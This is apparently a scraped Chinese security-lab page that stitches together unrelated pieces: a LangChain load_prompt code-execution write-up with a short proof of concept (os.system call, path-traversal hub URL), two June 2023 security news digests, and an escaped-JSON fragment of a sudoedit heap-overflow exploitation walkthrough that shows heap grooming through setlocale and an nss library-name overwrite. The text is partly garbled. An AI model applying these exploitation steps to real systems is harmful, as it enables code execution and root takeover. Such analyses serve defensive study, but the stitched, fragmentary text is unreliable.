漏洞简介 LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 漏洞复现 在项目下编写 test.py from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("system.py") 同级目录下编写 system.py 执行系统命令 dir import os os.system("dir") 运行 test.py 返回了执行系统命令dir 的结果 漏洞分析-_load_prompt_from_file langchain.prompts.loading.load_prompt try_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file langchain.prompts.loading._load_prompt_from_file 在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行 也就相当于,代码可以简写为 if __name__ == '__main__':    file_path = "system.py"    with open(file_path, "rb") as f:        exec(f.read()) ‍ 漏洞分析-try_load_from_hub 因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析 from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py") langchain.prompts.loading.load_prompt langchain.utilities.loading.try_load_from_hub 首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)") 所以需要满足最开始是 lc:// 然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中 最后拼接请求的url 可以通过 ../../../ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行 漏洞小结 在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
网络安全日报 2023年06月27日
1、新型Mirai变种利用8个漏洞攻击多种IoT设备 https://unit42.paloaltonetworks.com/mirai-variant-targets-iot-exploits/ 研究人员介绍了一种新发现的Mirai变种,它能利用8个新的漏洞攻击多种嵌入式设备,包括无线演示系统、机顶盒、SD-WAN和智能家居控制器等。Mirai是一种自2016年以来就存在的恶意软件,主要用于发动DDoS攻击和自我传播。研究人员分析了这种新型Mirai变种的感染流程、攻击载荷、C2服务器和目标设备,并给出了一些防御建议。还提供了一些IoT设备安全的最佳实践,例如更改默认密码、禁用不必要的服务、及时更新固件等。 2、LockBit勒索软件瞄准苹果M1芯片和嵌入式系统 https://securelist.com/crimeware-report-lockbit-switchsymb/110068/ 研究人员介绍LockBit勒索软件团伙正在开发针对苹果M1芯片和嵌入式系统的勒索软件。这些目标都是传统的Windows环境之外的,可能给受害者带来全新的问题。研究人员指出,LockBit是一个提供勒索软件即服务(RaaS)的团伙,它利用自动传播的恶意软件和双重加密的方法来进行攻击。研究人员还提到了LockBit的一些特点,如三重勒索的方法、先进的技术、高危的网络攻击和对合作伙伴的大力推广。研究人员建议企业采取结构化的漏洞管理流程来保护自己,根据严重性和风险优先 3、研究人员发布了针对Cisco AnyConnect Secure漏洞的PoC https://github.com/Wh04m1001/CVE-2023-20178/blob/main/README.md 研究人员介绍了一个高危漏洞(CVE-2023-20178)的证明概念(PoC)利用代码,该漏洞影响思科AnyConnect安全移动客户端软件(Windows版)和思科安全客户端软件(Windows版)。该漏洞存在于客户端更新过程中,如果攻击者已经在本地以低权限用户登录,就可以利用该漏洞提升为SYSTEM权限。这是因为在更新过程中创建的临时目录被赋予了不恰当的权限,攻击者可以通过滥用Windows安装程序进程的一个特定函数来执行任意代码。该漏洞的PoC利用代码是由一名 4、LastPass用户因MFA重置而被锁定账户 https://www.bleepingcomputer.com/news/security/lastpass-users-furious-after-being-locked-out-due-to-mfa-resets/ LastPass用户在5月初收到要求重置多因素认证(MFA)应用的电子邮件后,无法访问他们的密码库。LastPass是一款流行的密码管理器,可以让用户在不同的设备和浏览器上安全地存储和同步他们的密码。为了提高安全性,LastPass还支持多种MFA选项,包括Google Authenticator、Microsoft Authenticator、YubiKey等。然而,一 5、Grafana发布安全更新以修复CVE-2023-3128严重漏洞 https://grafana.com/blog/2023/06/22/grafana-security-release-for-cve-2023-3128/ Grafana发布了新版本的软件,修复了一个严重的安全漏洞,编号为CVE-2023-3128。该漏洞存在于Grafana的数据源配置页面中,如果攻击者能够访问该页面,就可以利用该漏洞执行任意代码。这是因为在数据源配置页面中,有一个“测试”按钮,可以用来测试数据源的连接和查询。但是,这个按钮没有对用户输入进行充分的验证和转义,导致了一个存储型跨站脚本(XSS)漏洞。如果攻击者能够在数据源配置页面中插入恶意代码,并诱使其他用户点击“测试” 6、CISA 称 Zyxel NAS 严重漏洞遭到攻击利用 https://www.securityweek.com/cisa-says-critical-zyxel-nas-vulnerability-exploited-in-attacks/ CISA 警告 Zyxel NAS 产品的用户,最近修补的关键漏洞 CVE-2023-27992 已被利用进行攻击。 7、BIND 修补了的可被远程利用的 DoS 漏洞 https://www.securityweek.com/remotely-exploitable-dos-vulnerabilities-patched-in-bind/ 最新的 BIND 更新解决了三个导致拒绝服务 (DoS) 的高严重性、可远程利用的漏洞。 8、森科尔能源公司遭网络攻击影响了加拿大加油站的支付业务 https://securityaffairs.com/147834/hacking/petro-canada-suncor-problems.html Suncor Energy 是加拿大领先的综合能源公司,在加拿大和美国提供油砂开发、生产和升级、海上石油和天然气以及石油炼制服务。它拥有加拿大石油公司的零售和批发分销网络。 9、研究人员找到通过分析 LED 闪烁恢复加密密钥的方法 https://thehackernews.com/2023/06/researchers-find-way-to-recover.html 在巧妙的旁道攻击中,一组学者发现可以通过分析设备电源 LED 的视频片段来恢复设备的密钥。内盖夫本古里安大学和康奈尔大学的研究人员在一项研究中表示:“CPU 执行的密码计算会改变设备的功耗,从而影响设备电源 LED 的亮度。” 10、动视暴雪游戏因长达数小时的 DDoS 攻击而瘫痪 https://therecord.media/activision-blizzard-crippled-by-ddos 根据动视暴雪在 Twitter 上的声明,此次攻击持续了 10 多个小时,并于周日晚些时候得到缓解。暴雪尚未确定其背后的黑客组织,也没有人站出来声称对此负责。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月26日
1、Mallox勒索软件采用新的感染策略发起攻击 https://blog.cyble.com/2023/06/22/mallox-ransomware-implements-new-infection-strategy/ Mallox勒索软件是一种在2021年6月首次出现的恶意软件,它的特点是在加密文件后添加目标公司的名称作为文件扩展名。这种勒索软件也被称为“TargetCompany”,因为它会在加密文件后添加“.mallox”或“.malox”扩展名。研究人员最近发现了Mallox勒索软件的新变种,它采用了一种新的感染策略,不再需要从远程服务器下载勒索软件载荷,而是将其嵌入到一个批处理脚本中,然后注入到“MSBuild.exe”中,不 2、NSA发布指南应对BlackLotus威胁 https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3435305/nsa-releases-guide-to-mitigate-blacklotus-threat/ 美国国家安全局(NSA)发布了一份指南,旨在帮助网络防御者应对BlackLotus恶意软件的威胁。BlackLotus是一种利用微软Windows安全启动过程中的一个已知漏洞绕过Secure Boot保护的恶意软件,它可以在系统启动时加载恶意代码,从而控制系统并窃取敏感数据。NSA指出,BlackLotus恶意软 3、SupremeBot恶意软件伪装成超级马里奥游戏安装程序进行传播 https://blog.cyble.com/2023/06/23/trojanized-super-mario-game-installer-spreads-supremebot-malware/ SupremeBot恶意软件是一种利用伪装成超级马里奥游戏安装程序的方式传播的恶意软件,它可以在用户的电脑上安装多个恶意组件,包括一个XMR挖矿器、一个SupremeBot挖矿客户端和一个开源的Umbral窃密器。研究人员发现了一个名为“Super-Mario-Bros.exe”的可疑文件,它是一个32位的Nullsoft Installer(NSIS)自解压归档可执行文件,它包含了一个合法的超 4、参与2020年推特大规模黑客攻击的英国人被判五年监禁 https://www.justice.gov/usao-sdny/pr/uk-citizen-sentenced-five-years-prison-cybercrime-offenses Joseph James O’Connor(又名PlugwalkJoe),24岁,是一名英国公民,他参与了2020年7月对推特的大规模黑客攻击,该攻击导致130个知名账号被劫持,并用于实施一场涉及12万美元的加密货币诈骗。O’Connor于上周五在美国纽约南区被判处五年监禁,这是在他一个月多前承认了自己的罪行之后。他于2021年7月在西班牙被捕。美国司法部(DoJ)表示,O’Connor和他的同伙利用了 5、美国航空和西南航空披露影响飞行员的数据泄露事件 https://www.documentcloud.org/documents/23859182-southwest-data-breach-notification-letters 美国航空和西南航空是世界上最大的两家航空公司,它们在近日披露了一起数据泄露事件,该事件是由一家第三方供应商Pilot Credentials的黑客攻击造成的。Pilot Credentials是一家管理多家航空公司的飞行员申请和招聘门户的供应商。美国航空在一份通知信中表示,Pilot Credentials于2023年6月18日通知了美国航空,称其系统于2023年5月24日遭到了未经授权的访问,导致部分美国航空 6、美国卫生部警告医疗行业面临SEO投毒攻击的风险 https://www.hhs.gov/sites/default/files/june-2023-seo-poisoning-analyst-note-tlpclear.pdf 搜索引擎优化(SEO)投毒攻击是一种故意操纵搜索结果,引导用户访问植入恶意软件的网站的攻击方式,这种攻击方式在医疗行业日益增多,美国联邦监管机构发出警告。美国卫生部的卫生部门网络安全协调中心(HHS HC3)发布了一份警报,提醒医疗行业注意SEO投毒攻击的威胁。该警报称,这种攻击方式最近经常针对美国医疗和公共卫生部门。HHS HC3表示,SEO投毒攻击的幕后黑手利用诸如谷歌等搜索引擎,使得第一个广告链接实际上指向攻 7、Fortinet修复了关键的FortiNAC远程命令执行漏洞 https://www.fortiguard.com/psirt/FG-IR-23-074 网络安全解决方案公司Fortinet更新了其零信任访问解决方案FortiNAC,以解决攻击者可利用该漏洞来执行代码和命令。FortiNAC允许组织管理网络范围的访问策略,获得设备和用户的可见性,并保护网络免受未经授权的访问和威胁。该安全问题被跟踪为CVE-2023-33299,严重程度评分为9.6(满分10)。它是不受信任数据的反序列化,可能导致未经身份验证的远程代码执行(RCE)。供应商没有提供缓解建议,因此建议的操作是应用可用的安全更新。CVE-2023-33299是由提供红队、渗透测试和威胁情报 8、美国司法部创建新的国家安全网络部门 https://cybernews.com/security/doj-creates-new-national-security-cyber-section/ 新成立的部门正式简称为 NatSec Cyber,是为了响应美国司法部长办公室在司法部 (DoJ) 2022 年全面网络审查中的核心调查结果而创建。 9、曼彻斯特大学证实在最近的网络攻击中数据被盗 https://www.manchester.ac.uk/discover/news/cyber-incident-update/ 曼彻斯特大学最终证实,六月初披露的网络攻击背后的攻击者窃取了校友和在校学生的数据。该大学于6月9日首次披露了此次攻击 ,警告数据可能被盗,但表示该事件与MOVEit Transfer数据盗窃攻击无关。“根据我们的调查,我们认为一小部分数据被复制,涉及一些学生和一些校友。我们已直接写信给那些可能受到此影响的个人,”该大学表示。“我们尚未发现任何未经授权访问银行账户或银行卡支付详细信息的情况,我们不会在上述系统上存储此类信息。 ”该大学表示,正在与相关当局合作调查这 10、微软发现针对物联网设备和Linux系统的恶意挖矿活动 https://www.microsoft.com/en-us/security/blog/2023/06/22/iot-devices-and-linux-based-systems-targeted-by-openssh-trojan-campaign/ 加密劫持是非法使用计算资源来挖掘加密货币的行为,近年来变得越来越普遍,攻击者围绕攻击工具、基础设施和服务构建网络犯罪框架,通过针对包括物联网在内的各种易受攻击的系统来获取收入。微软研究人员最近发现了一种利用自定义和开源工具来针对面向互联网的基于Linux的系统和物联网设备的攻击。该攻击使用OpenSSH的修补版本来控制受影响的设备并安装 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
)\r\n612: *dst++ = '\\\\';\r\n613:    *dst++ = *src;\r\n614: }\r\n   ...\r\n622: }\r\n\r\n在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL\r\n\r\nFile: src\\parse_args.c\r\n   ...\r\n265:     proglen = strlen(progname);\r\n266:     if (proglen \u003E 4 && strcmp(progname + proglen - 4, \"edit\") == 0) {\r\n267: progname = \"sudoedit\";\r\n268: mode = MODE_EDIT;\r\n269: sudo_settings[ARG_SUDOEDIT].value = \"true\";\r\n270:     }\r\n\r\n想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s\r\n\r\nFile: plugins\\sudoers\\sudoers.c\r\n ...\r\n819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n   ...\r\n858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n\r\n漏洞利用\r\n\r\n漏洞利用分析\r\n\r\n由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。\r\n\r\n• 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。\r\n\r\n• 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。\r\n\r\n可利用堆块\r\n\r\nnss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。\r\n\r\n在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于\u002Fetc\u002Fnsswitch.conf的配置文件中\r\n\r\n例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so\r\n\r\n那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。\r\n\r\n接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。\r\n\r\nFile: nsswitch.c\r\n327: static int\r\n328: nss_load_library (service_user *ni)\r\n329: {\r\n330:   if (ni-\u003Elibrary == NULL) \r\n331:     {\r\n332:       \u002F* This service has not yet been used. Fetch the service\r\n333: library for it, creating a new one if need be. If there\r\n334: is no service table from the file, this static variable\r\n335: holds the head of the service_library list made from the\r\n336: default configuration. *\u002F\r\n337:       static name_database default_table;\r\n338:       ni-\u003Elibrary = nss_new_service (service_table ?: &default_table,\r\n339:     ni-\u003Ename); \u002F\u002F若ni-\u003Elibrary的值为NULL,那么就会新建一个ni-\u003Elibrary并将成员都进行初始化\r\n340:       if (ni-\u003Elibrary == NULL)\r\n341: return -1;\r\n342:     }\r\n343: \r\n344:   if (ni-\u003Elibrary-\u003Elib_handle == NULL) \u002F\u002F由于ni-\u003Elibrary刚新建,因此ni-\u003Elibrary-\u003Elib_handle必定为NULL\r\n345:     {\r\n346:       \u002F* Load the shared library. *\u002F\r\n347:       size_t shlen = (7 + strlen (ni-\u003Ename) + 3\r\n348:      + strlen (__nss_shlib_revision) + 1);\r\n349:       int saved_errno = errno;\r\n350:       char shlib_name[shlen];\r\n351: \r\n352:       \u002F* Construct shared object name. *\u002F\r\n353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,\r\n354:      \"libnss_\"),\r\n355:    ni-\u003Ename),\r\n356:  \".so\"), \u002F\u002Fshalib_name是根据拼接得到\r\n357: __nss_shlib_revision);\r\n358: \r\n359:       ni-\u003Elibrary-\u003Elib_handle = __libc_dlopen (shlib_name); \u002F\u002F加载动态链接库\r\n \r\n\r\n上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni-\u003Ename进行一系列的拼接得到,而ni-\u003Ename则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni-\u003Ename,它是能够完成修改程序执行流程的关键变量。\r\n\r\n举个例子,例如我们将ni-\u003Ename修改为X\u002Ftest,那么最后拼接的结果会得到libnss_X\u002Ftest.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。\r\n\r\n布置堆块的操作\r\n\r\n由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni-\u003Ename,即可完成任意代码执行的效果。\r\n\r\n在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。\r\n\r\n区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。\r\n\r\nexport LC_ALL=en_US.UTF-8@XXXX\r\n\r\n而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,\"\")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。\r\n\r\n_nl_find_locale函数\r\nFile: locale\\findlocale.c\r\n101: struct __locale_data *\r\n102: _nl_find_locale (const char *locale_path, size_t locale_path_len,\r\n103: int category, const char **name)\r\n104: {\r\n   ... \r\n184:   \u002F* LOCALE can consist of up to four recognized parts for the XPG syntax:\r\n185: \r\n186: language[_territory[.codeset]][@modifier]\r\n187: \r\n188:     Beside the first all of them are allowed to be missing. If the\r\n189:     full specified locale is not found, the less specific one are\r\n190:     looked for. The various part will be stripped off according to\r\n191:     the following order:\r\n192: (1) codeset\r\n193: (2) normalized codeset\r\n194: (3) territory\r\n195: (4) modifier\r\n196:   *\u002F\r\n       \u002F*\r\n       区域的格式为C_en_US.UTF-8@XXXXXX\r\n       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失\r\n       *\u002F\r\n197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory,\r\n198:   &codeset, &normalized_codeset);\r\n199:   if (mask == -1)\r\n200:     \u002F* Memory allocate problem. *\u002F\r\n201:     return NULL;\r\n202: \r\n   \u002F\u002Flocale_file则给区域设置进行动态内存的分配\r\n205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],\r\n206:    locale_path, locale_path_len, mask,\r\n207:    language, territory, codeset,\r\n208:    normalized_codeset, modifier,\r\n209:    _nl_category_names_get (category), 0); \u002F\u002F返回NULL\r\n210: \r\n211:   if (locale_file == NULL)\r\n212:     {\r\n213:       \u002F* Find status record for addressed locale file. We have to search\r\n214: through all directories in the locale path. *\u002F\r\n215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],\r\n216: locale_path, locale_path_len, mask,\r\n217: language, territory, codeset,\r\n218: normalized_codeset, modifier,\r\n219: _nl_category_names_get (category), 1);\r\n220:       if (locale_file == NULL)\r\n221: \u002F* This means we are out of core. *\u002F\r\n222: return NULL;\r\n223:     }\r\n}\r\n\r\n_nl_make_l10nflist**函数**\r\n\r\n_nl_make_l10nflist会根据我们传入的值进行堆块的分配。\r\n\r\nFile: intl\\l10nflist.c\r\n150: struct loaded_l10nfile *\r\n151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,\r\n152:    const char *dirlist, size_t dirlist_len,\r\n153:    int mask, const char *language, const char *territory,\r\n154:    const char *codeset, const char *normalized_codeset,\r\n155:    const char *modifier,\r\n156:    const char *filename, int do_allocate)\r\n157: {\r\n   ...\r\n165:   \u002F\u002F根据我们传入的区域值的长度进行动态分配\r\n166:   abs_filename = (char *) malloc (dirlist_len\r\n167:  + strlen (language)\r\n168:  + ((mask & XPG_TERRITORY) != 0\r\n169:     ? strlen (territory) + 1 : 0)\r\n170:  + ((mask & XPG_CODESET) != 0\r\n171:     ? strlen (codeset) + 1 : 0)\r\n172:  + ((mask & XPG_NORM_CODESET) != 0\r\n173:     ? strlen (normalized_codeset) + 1 : 0)\r\n174:  + ((mask & XPG_MODIFIER) != 0\r\n175:     ? strlen (modifier) + 1 : 0)\r\n176:  + 1 + strlen (filename) + 1);\r\n177: \r\n   ...\r\n292: }\r\n \r\n\r\nsetlocale**函数**\r\n\r\nsetlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。\r\n\r\nFile: locale\\setlocale.c\r\n334:       while (category-- \u003E 0)\r\n335: if (category != LC_ALL)\r\n336: {\r\n   \u002F\u002F通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中\r\n337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len,\r\n338: category,\r\n339: &newnames[category]);\r\n340: \r\n ...\r\n364: else\r\n365: {\r\n   \u002F\u002F使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去\r\n366:    newnames[category] = __strdup (newnames[category]);\r\n367:    if (newnames[category] == NULL)\r\n368:      break;\r\n369: }\r\n   ...\r\n393:  if (category != LC_ALL && newnames[category] != _nl_C_name\r\n394:      && newnames[category] != _nl_global_locale.__names[category])\r\n395:    free ((char *) newnames[category]); \u002F\u002F这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉\r\n \r\n\r\n因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。\r\n\r\nLC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free()\r\n\r\nexp的分析\r\n\r\n由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。\r\n\r\n紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的\r\n\r\n将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小\r\n\r\n 使用错误的区域值进行堆块的释放\r\n\r\n最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni-\u003Elibrary中用\\x00填充,而\\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\\x00',那么我们就能将\\x00的值直接拷贝的堆内存中。紧接着将ni-\u003Ename修改为我们认为构造的动态链接库即可。\r\n\r\nFile: plugins\\sudoers\\sudoers.c\r\n866: if (from[0] == '\\\\' && !isspace((unsigned char)from[1])) \u002F\u002F若 '\\' 后跟着'\\x00'\r\n867:    from++; \u002F\u002F此时from会指向\\x00\r\n868: *to++ = *from++; \u002F\u002F使用\\x00进行值的拷贝\r\n869:   }\r\n\r\n设置多个环境变量使得内存存在多个'' + '\\x00',从而使用'\\x00'去覆盖堆的内存值。\r\n\r\n演示效果如下\r\n\r\n漏洞修复\r\n\r\n漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\\0'的校验\r\n\r\n \r\n--- a\u002Fplugins\u002Fsudoers\u002Fsudoers.c Sat Jan 23 08:43:59 2021 -0700\r\n+++ b\u002Fplugins\u002Fsudoers\u002Fsudoers.c Sat Jan 23 08:43:59 2021 -0700\r\n@@ -547,7 +547,7 @@\r\n \r\n     \u002F* If run as root with SUDO_USER set, set sudo_user.pw to that user. *\u002F\r\n     \u002F* XXX - causes confusion when root is not listed in sudoers *\u002F\r\n-    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) {\r\n+    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) {\r\n if (user_uid == 0 && strcmp(prev_user, \"root\") != 0) {\r\n    struct passwd *pw;\r\n \r\n@@ -932,8 +932,8 @@\r\n     if (user_cmnd == NULL)\r\n user_cmnd = NewArgv[0];\r\n \r\n-    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {\r\n- if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {\r\n+    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) {\r\n+ if (!ISSET(sudo_mode, MODE_EDIT)) { \u002F\u002F对MODE_EDIT进行了额外的判断\r\n    const char *runchroot = user_runchroot;\r\n    if (runchroot == NULL && def_runchroot != NULL &&\r\n    strcmp(def_runchroot, \"*\") != 0)\r\n@@ -961,7 +961,8 @@\r\n sudo_warnx(U_(\"%s: %s\"), __func__, U_(\"unable to allocate memory\"));\r\n debug_return_int(NOT_FOUND_ERROR);\r\n   }\r\n-    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {\r\n+    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) &&\r\n+    ISSET(sudo_mode, MODE_RUN)) { \u002F\u002F需要sudo -s才能进行转义\r\n \u002F*\r\n * When running a command via a shell, the sudo front-end\r\n * escapes potential meta chars. We unescape non-spaces\r\n@@ -969,10 +970,22 @@\r\n *\u002F\r\n for (to = user_args, av = NewArgv + 1; (from = *av); av++) {\r\n    while (*from) {\r\n- if (from[0] == '\\\\' && !isspace((unsigned char)from[1]))\r\n+ if (from[0] == '\\\\' && from[1] != '\\0' &&  \u002F\u002F增加了'\\0'的判断\r\n+ !isspace((unsigned char)from[1])) {\r\n    from++;\r\n+ }\r\n+ if (size - (to - user_args) \u003C 1) {\r\n+    sudo_warnx(U_(\"internal error, %s overflow\"),\r\n+ __func__);\r\n+    debug_return_int(NOT_FOUND_ERROR);\r\n+ }\r\n *to++ = *from++;\r\n   }\r\n+    if (size - (to - user_args) \u003C 1) {\r\n+ sudo_warnx(U_(\"internal error, %s overflow\"),\r\n+    __func__);\r\n+ debug_return_int(NOT_FOUND_ERROR);\r\n+   }\r\n    *to++ = ' ';\r\n }\r\n *--to = '\\0';\r\n\r\n总结\r\n\r\nSudo堆溢出攻击流程\r\n\r\n首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。\r\n\r\n其次利用堆溢出将server_user堆块的ni-\u003Ename值覆盖,覆盖的值为恶意构造的动态链接库名。\r\n\r\n最后等待动态链接库被加载执行。\r\n\r\nSudo堆溢出利用的限制\r\n\r\n由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202306281532430.png",openTime:"2023-06-28T16:09:07+08:00",viewsNum:5350},{id:"20230628083531",type:a,title:"网络安全日报 2023年06月28日",abstract:"1、Anatsa安卓银行木马新一轮攻击针对英美德等国\r\n\r\n https:\u002F\u002Fwww.threatfabric.com\u002Fblogs\u002Fanatsa-hits-uk-and-dach-with-new-campaign Anatsa是一种安卓银行木马,它可以通过伪装成正常的应用程序,诱骗用户在手机上安装它,然后窃取用户的银行凭证和执行欺诈性的转账。自2023年3月以来,Anatsa木马已经通过谷歌商店(Google Play Store)的多个下载器(dropper)传播,影响了超过3万个用户。Anatsa木马的目标主要是美国、英国和德语区(DACH)的银行机构,其恶意软件列表包含了全球近600个金融应用程序。研究人员已经确认了多起由Anatsa木马造成的\n\r\n 2、Teams存在漏洞,可被外部租户利用传播恶意软件\r\n\r\n https:\u002F\u002Flabs.jumpsec.com\u002Fadvisory-idor-in-microsoft-teams-allows-for-external-tenants-to-introduce-malware\u002F Microsoft Teams是一款流行的协作和通信平台,但它也存在一个安全漏洞,可能让用户的设备受到恶意软件的攻击。这个漏洞被称为IDOR(不安全的直接对象引用),它允许外部租户(external tenants)绕过客户端的安全控制,向目标用户发送恶意文件。研究人员最近发现了这个漏洞,并向微软报告了。他们发现,Microsoft 